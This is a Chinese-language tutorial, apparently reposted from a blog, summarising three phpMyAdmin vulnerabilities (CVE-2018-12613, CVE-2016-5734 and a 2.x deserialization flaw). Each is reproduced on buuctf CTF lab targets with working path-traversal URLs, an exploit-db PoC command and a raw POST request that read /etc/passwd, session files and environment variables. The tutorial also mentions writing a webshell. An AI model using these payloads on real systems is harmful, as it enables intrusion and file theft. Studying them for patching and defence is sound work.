phpMyAdmin漏洞利用总结 | 您所在的位置:网站首页 › smartadmin漏洞 › phpMyAdmin漏洞利用总结 |
一、简介 phpMyAdmin 是一个用PHP编写的免费软件工具,可以通过 Web对Mysql进行管理,它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等。说白了就是一个mysql管理工具。 版本对应关系截止到2021年7月3日,最新版目前已经更新到 phpMyAdmin 5.1.1 phpMyAdmin4.9.0当前版本兼容PHP5.5至7.3和MySQL5.5及更新版本。 phpMyAdmin4.8.0,兼容PHP5.5至7.2和MySQL5.5及更新版本。 phpMyAdmin4.6.0-4.7.0,兼容PHP5.5至7.1和MySQL5.5及更新版本。 phpMyAdmin4.5.0,兼容PHP5.5到7.0和MySQL5.5。 phpMyAdmin4.4.0,兼容PHP5.3.7到7.0和MySQL5.5。 phpMyAdmin4.1.0-4.3.0,兼容PHP5.3和MySQL5.5。 phpMyAdmin4.0.0与PHP5.2和MySQL5兼容。不支持PHP5.5或更新版本。 二、漏洞利用(一)远程文件包含漏洞(CVE-2018-12613)1、影响版本phpmyadmin 4.8.0 phpmyadmin 4.8.1 2、漏洞原理phpmyadmin 4.8.1 版本 index.php的 50-63行代码: $target_blacklist = array ( 'import.php', 'export.php' ); // If we have a valid target, let's load that script instead if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }满足以下5个条件后就会include$_REQUEST['target']的内容: $_REQUEST['target']不为空$_REQUEST['target']是字符串$_REQUEST['target']不以index开头$_REQUEST['target']不在$target_blacklist中即target 参数不是 import.php 或 export.php。Core::checkPageValidity($_REQUEST['target'])为真找到Core::checkPageValidity方法 在libraries\classes\Core.php 中的443-476行代码: public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }问题出现在了 urldecode() 我们可以利用这个函数绕过白名单检测! 我们把 ?url编码为 %253f 即可绕过验证! 例如传入 ?target=db_datadict.php%253f 由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,又一次url解码后变成了db_datadict.php?,这次便符合了?前内容在白名单的要求,函数返回true。 但在index.php中$_REQUEST['target']仍然是db_datadict.php%3f,而且会被include,通过目录穿越,就可造成任意文件包含。 3、漏洞复现这里我们使用 buuctf靶场中real类的 [PHPMYADMIN]CVE-2018-12613 做演示。 这个漏洞要利用需要有一个比较苛刻的前提:能够访问phpmyadmin,也就是说得拿到phpmyadmin的权限才可以。(buuctf靶场的话直接登录就可以) 访问http://your-ip:8080/index.php?target=db\u sql.php%253f/../../../../../../../../../etc/passwd,结果表明存在文件包含漏洞: 我们可以执行SELECT '';(前提是已经将''写入到了数据库中), 然后检查sessionid(cookie中phpMyAdmin的值),然后包括会话文件。 phpMyAdmin=01f61e5e23d4444df4b66b027652f750; payload: http://node3.buuoj.cn:27574/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_01f61e5e23d4444df4b66b027652f750即可以访问到phpinfo 得到flag:flag{b4d37768-9fca-4d17-b13c-befa563a1c5c} 同理,也可以写入木马,进行连接获得shell。 4、解决方案将phpmyadmin 更新为4.8.1以上的版本。 (二)远程代码执行漏洞(CVE-2016-5734)1、影响版本4.0.10.16之前4.0.x版本 4.4.15.7之前4.4.x版本 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞) 2、漏洞复现同样使用buuctf靶场中real类的 [PHPMYADMIN]CVE-2016-5734 做演示 该漏洞利用需要登录,且能够写入数据。 这里,我们使用POC https://www.exploit-db.com/exploits/40185/来复现漏洞。 python 40185.py -c 'system(env);' -u root -p root -d test http://your-ip:8080/-c是待执行的PHP语句-d是已经可以写的数据库,如果没有指定表名,这个POC会创建一个名为prgpwn的表。通过system(env)打印环境变量获得flag,同理可以修改env 为其他命令来执行。 获得flag:flag{a3ed9546-8500-462b-b2a7-0ed2d3f61da8} (三)反序列化漏洞(WooYun-2016-199433)1、影响版本phpmyadmin 2.x 2、漏洞复现使用 burpsuite发送如下数据包,即可读取/etc/passwd文件 POST /scripts/setup.php HTTP/1.1 Host: node4.buuoj.cn:27850 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 82 action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";} |
CopyRight 2018-2019 实验室设备网 版权所有 |